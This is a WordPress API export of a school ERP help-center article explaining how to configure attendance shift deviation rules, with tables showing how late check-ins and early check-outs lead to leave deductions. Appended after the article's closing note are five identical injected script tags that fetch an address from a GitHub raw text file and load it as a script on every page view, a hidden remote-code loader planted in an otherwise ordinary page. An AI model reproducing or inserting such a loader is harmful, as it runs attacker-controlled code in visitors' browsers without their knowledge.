{"id":6796,"date":"2024-05-17T21:09:15","date_gmt":"2024-05-17T15:39:15","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=6796"},"modified":"2025-01-03T05:16:57","modified_gmt":"2025-01-02T23:46:57","slug":"how-to-configure-attendance-shift-deviation-rule","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-to-configure-attendance-shift-deviation-rule\/","title":{"rendered":"How to configure Attendance Shift Deviation Rule?"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">NLP allows to set Shift Deviation Rule for first check-in and last check-out and also set these additional criteria:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Set the number of deviations allowed for a week,or month\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Once the number of deviations exceeds, set the number of leaves that must be deducted, from which leave types, and in what order.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">To enable Shift deviation rule:\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">1. Go to Settings &gt;<\/span><b> Staff &gt; Attendance &gt; Shift Deviation Rule<\/b><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-6801\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image5.png\" alt=\"\" width=\"1857\" height=\"368\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image5.png 1857w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image5-300x59.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image5-1024x203.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image5-768x152.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image5-1536x304.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image5-1200x238.png 1200w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">2. Select the shift for which you want to configure (<\/span><span style=\"font-weight: 400;\">The shift details displayed here are synchronized with the shifts set up on the Attendance Shifts page.)<\/span><\/p>\n<p><span style=\"font-weight: 400;\">3. Choose &#8220;<\/span><b>Consider as deviation<\/b><span style=\"font-weight: 400;\">&#8221; to specify whether the rule applies to <\/span><b>late <\/b><b>in<\/b><span style=\"font-weight: 400;\">, <\/span><b>early out <\/b><span style=\"font-weight: 400;\">or<\/span><b> both<\/b><span style=\"font-weight: 400;\">.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">4. Enter the number of deviations allowed and select the period within which it is allowed &#8211; week or month.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">5. You can also consider deviations that occur on the multiples of the input number.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">6. Select the number of leaves to be deducted, once the allowed deviation exceeds.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">7. Enter the leave type from which leave is to be deducted.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">8. Enter additional leave types from which leave must be deducted either once the leave balance lapses or when it is in deficit.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">9. Click on save to save the rule.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">10. Click on add rule to configure another rule for the same shift.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b><span style=\"text-decoration: underline;\">Example 1<\/span>:<\/b><\/p>\n<p><span style=\"font-weight: 400;\">The school wants to configure a rule for the General Shift.\u00a0\u00a0<\/span><\/p>\n<p><b>Rule 1<\/b><span style=\"font-weight: 400;\">: \u201c<\/span><b>Late In<\/b><span style=\"font-weight: 400;\">&#8221; during the General Shift: if there are <\/span><b>more than<\/b> <b>2<\/b><span style=\"font-weight: 400;\"> instances of being late per week, <\/span><b>deduct<\/b> <b>0.5<\/b><span style=\"font-weight: 400;\"> days from the casual leave type.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-6798\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image2.png\" alt=\"\" width=\"1412\" height=\"266\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image2.png 1412w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image2-300x57.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image2-1024x193.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image2-768x145.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image2-1200x226.png 1200w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Based on the above configuration, more than two occurrences will lead to leave deduction.<\/span><\/p>\n<table>\n<tbody>\n<tr>\n<td>\n<p><b>Day<\/b><\/p>\n<\/td>\n<td>\n<p><b>Attendance entry<\/b><\/p>\n<\/td>\n<td>\n<p><b>Rule implication<\/b><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Monday<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 15 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">1st deviation<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Tuesday<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 30 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">2nd deviation<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Thursday<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 19 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">0.5 days of casual leave deducted<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Friday\u00a0<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 20 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Marked as Absent ( casual leave balance lapsed)<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p><span style=\"text-decoration: underline;\"><b>Example 2:<\/b><\/span><\/p>\n<p><span style=\"font-weight: 400;\">The school wants to configure a rule for the General Shift.\u00a0\u00a0<\/span><\/p>\n<p><b>Rule 1<\/b><span style=\"font-weight: 400;\">: Configure \u201c<\/span><b>Both\u201d<\/b><span style=\"font-weight: 400;\"> \u201cLate In&#8221; and \u201cEarly out\u201d<\/span> <span style=\"font-weight: 400;\">during the General Shift in one rule: if there are <\/span><b>more than<\/b> <b>2<\/b><span style=\"font-weight: 400;\"> instances of being late per week, <\/span><b>deduct<\/b> <b>0.5<\/b><span style=\"font-weight: 400;\"> days from the casual leave type.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-6797\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image1.png\" alt=\"\" width=\"1411\" height=\"217\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image1.png 1411w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image1-300x46.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image1-1024x157.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image1-768x118.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image1-1200x185.png 1200w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Based on the above configuration, more than two combined occurrences will lead to leave deduction.<\/span><\/p>\n<table>\n<tbody>\n<tr>\n<td>\n<p><b>Day<\/b><\/p>\n<\/td>\n<td>\n<p><b>Attendance entry<\/b><\/p>\n<\/td>\n<td>\n<p><b>Rule implication<\/b><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Monday<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 15 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">1st deviation<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Tuesday<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-out early by 30 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">2nd deviation<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Friday<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 19 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">0.5 days of casual leave deducted<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Friday\u00a0<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-out early by 20 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">0.5 days of casual leave deducted<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p><span style=\"text-decoration: underline;\"><b>Example 3:<\/b><\/span><\/p>\n<p><span style=\"font-weight: 400;\">The school wants to configure two rules for the same shift.<\/span><\/p>\n<p><b>Rule 1<\/b><span style=\"font-weight: 400;\">: \u201c<\/span><b>Late In<\/b><span style=\"font-weight: 400;\">&#8221; during the General Shift: if there are<\/span><b> more than 2<\/b><span style=\"font-weight: 400;\"> instances of being late per week, <\/span><b>deduct 0.5<\/b><span style=\"font-weight: 400;\"> days from the casual leave type.<\/span><\/p>\n<p><b>Rule 2<\/b><span style=\"font-weight: 400;\">: \u201c<\/span><b>Early out<\/b><span style=\"font-weight: 400;\">&#8221; during the General Shift: if there are <\/span><b>more than 1<\/b><span style=\"font-weight: 400;\"> instances of leaving early per week, <\/span><b>deduct 0.5<\/b><span style=\"font-weight: 400;\"> days from the casual leave type.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-6802\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image6.png\" alt=\"\" width=\"1375\" height=\"291\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image6.png 1375w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image6-300x63.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image6-1024x217.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image6-768x163.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image6-1200x254.png 1200w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Based on the above configuration, more than two occurrences will lead to leave deduction for each rule.<\/span><\/p>\n<p>Rule 1:\u00a0<\/p>\n<table>\n<tbody>\n<tr>\n<td>\n<p><b>Day<\/b><\/p>\n<\/td>\n<td>\n<p><b>Attendance entry<\/b><\/p>\n<\/td>\n<td>\n<p><b>Rule implication<\/b><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Monday<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 15 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">1st deviation<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Tuesday<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 30 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">2nd deviation<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Friday<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 19 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">0.5 days of casual leave deducted<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Friday\u00a0<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 20 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Marked as Absent ( casual leave balance lapsed)<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Rule 2:\u00a0<\/p>\n<table>\n<thead>\n<tr>\n<th>\n<p><b>Day<\/b><\/p>\n<\/th>\n<th>\n<p><b>Attendance entry<\/b><\/p>\n<\/th>\n<th>\n<p><b>Rule implication<\/b><\/p>\n<\/th>\n<\/tr>\n<tr>\n<th>\n<p><span style=\"font-weight: 400;\">Monday<\/span><\/p>\n<\/th>\n<th>\n<p><span style=\"font-weight: 400;\">Check-out early <\/span><span style=\"font-weight: 400;\">by 15 minutes<\/span><\/p>\n<\/th>\n<th>\n<p><span style=\"font-weight: 400;\">1st deviation<\/span><\/p>\n<\/th>\n<\/tr>\n<tr>\n<th>\n<p><span style=\"font-weight: 400;\">Tuesday<\/span><\/p>\n<\/th>\n<th>\n<p><span style=\"font-weight: 400;\">Check-out early <\/span><span style=\"font-weight: 400;\">by 30 minutes<\/span><\/p>\n<\/th>\n<th>\n<p><span style=\"font-weight: 400;\">0.5 days of casual leave deducted<\/span><\/p>\n<\/th>\n<\/tr>\n<tr>\n<th>\n<p><span style=\"font-weight: 400;\">Thursday<\/span><\/p>\n<\/th>\n<th>\n<p><span style=\"font-weight: 400;\">Check-out early <\/span><span style=\"font-weight: 400;\">by 20 minutes<\/span><\/p>\n<\/th>\n<th>\n<p><span style=\"font-weight: 400;\">0.5 days of casual leave deducted<\/span><\/p>\n<\/th>\n<\/tr>\n<\/thead>\n<\/table>\n<p>&nbsp;<\/p>\n<p><span style=\"text-decoration: underline;\"><b>Example 4:<\/b><\/span><\/p>\n<p><span style=\"font-weight: 400;\">The school wants to configure a deviation rule on \u201c<\/span><b>Multiples\u201d<\/b><span style=\"font-weight: 400;\"> for the General Shift.\u00a0\u00a0<\/span><\/p>\n<p><b>Rule 1<\/b><span style=\"font-weight: 400;\">: \u201c<\/span><b>Late In<\/b><span style=\"font-weight: 400;\">&#8221; during the General Shift: if there are <\/span><span style=\"font-weight: 400;\">deviations that occur on the multiples of 2<\/span><span style=\"font-weight: 400;\">, <\/span><b>deduct 0.5<\/b><span style=\"font-weight: 400;\"> days from the casual leave type.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-6799\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image3.png\" alt=\"\" width=\"1387\" height=\"268\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image3.png 1387w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image3-300x58.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image3-1024x198.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image3-768x148.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/05\/image3-1200x232.png 1200w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Based on the above configuration, deviations that occur on the multiples of 2 will lead to leave deduction.<\/span><\/p>\n<table>\n<tbody>\n<tr>\n<td>\n<p><b>Day<\/b><\/p>\n<\/td>\n<td>\n<p><b>Attendance entry<\/b><\/p>\n<\/td>\n<td>\n<p><b>Rule implication<\/b><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Monday<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 15 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">1st deviation<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Tuesday<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 30 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">2nd deviation (multiple of 2)<\/span><\/p>\n<p><span style=\"font-weight: 400;\">0.5 days of casual leave deducted<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Thursday<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in late by 19 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">3rd deviation<\/span><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p><span style=\"font-weight: 400;\">Friday\u00a0<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">Check-in early by 20 minutes<\/span><\/p>\n<\/td>\n<td>\n<p><span style=\"font-weight: 400;\">4th deviation (multiple of 2)<\/span><\/p>\n<p><span style=\"font-weight: 400;\">0.5 days of casual leave deducted<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p><b>Note:<\/b><span style=\"font-weight: 400;\">\u00a0<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Once the leave balance lapses, <\/span><span style=\"font-weight: 400;\">&#8216;Absent&#8217; will be Marked.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\">When there are two rules, the sum of deducted leaves cannot exceed 1.<\/li>\n<\/ol>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>NLP allows to set Shift Deviation Rule for first check-in and last check-out and also set these additional criteria: Set the number of deviations allowed for a week,or month\u00a0 Once the number of deviations exceeds, set the number of leaves that must be deducted, from which leave types, and in what order. To enable Shift &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/how-to-configure-attendance-shift-deviation-rule\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How to configure Attendance Shift Deviation Rule?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[828],"tags":[],"post_folder":[],"class_list":["post-6796","post","type-post","status-publish","format-standard","hentry","category-shift-deviation-rule"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/6796","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=6796"}],"version-history":[{"count":19,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/6796\/revisions"}],"predecessor-version":[{"id":10347,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/6796\/revisions\/10347"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=6796"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=6796"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=6796"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=6796"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}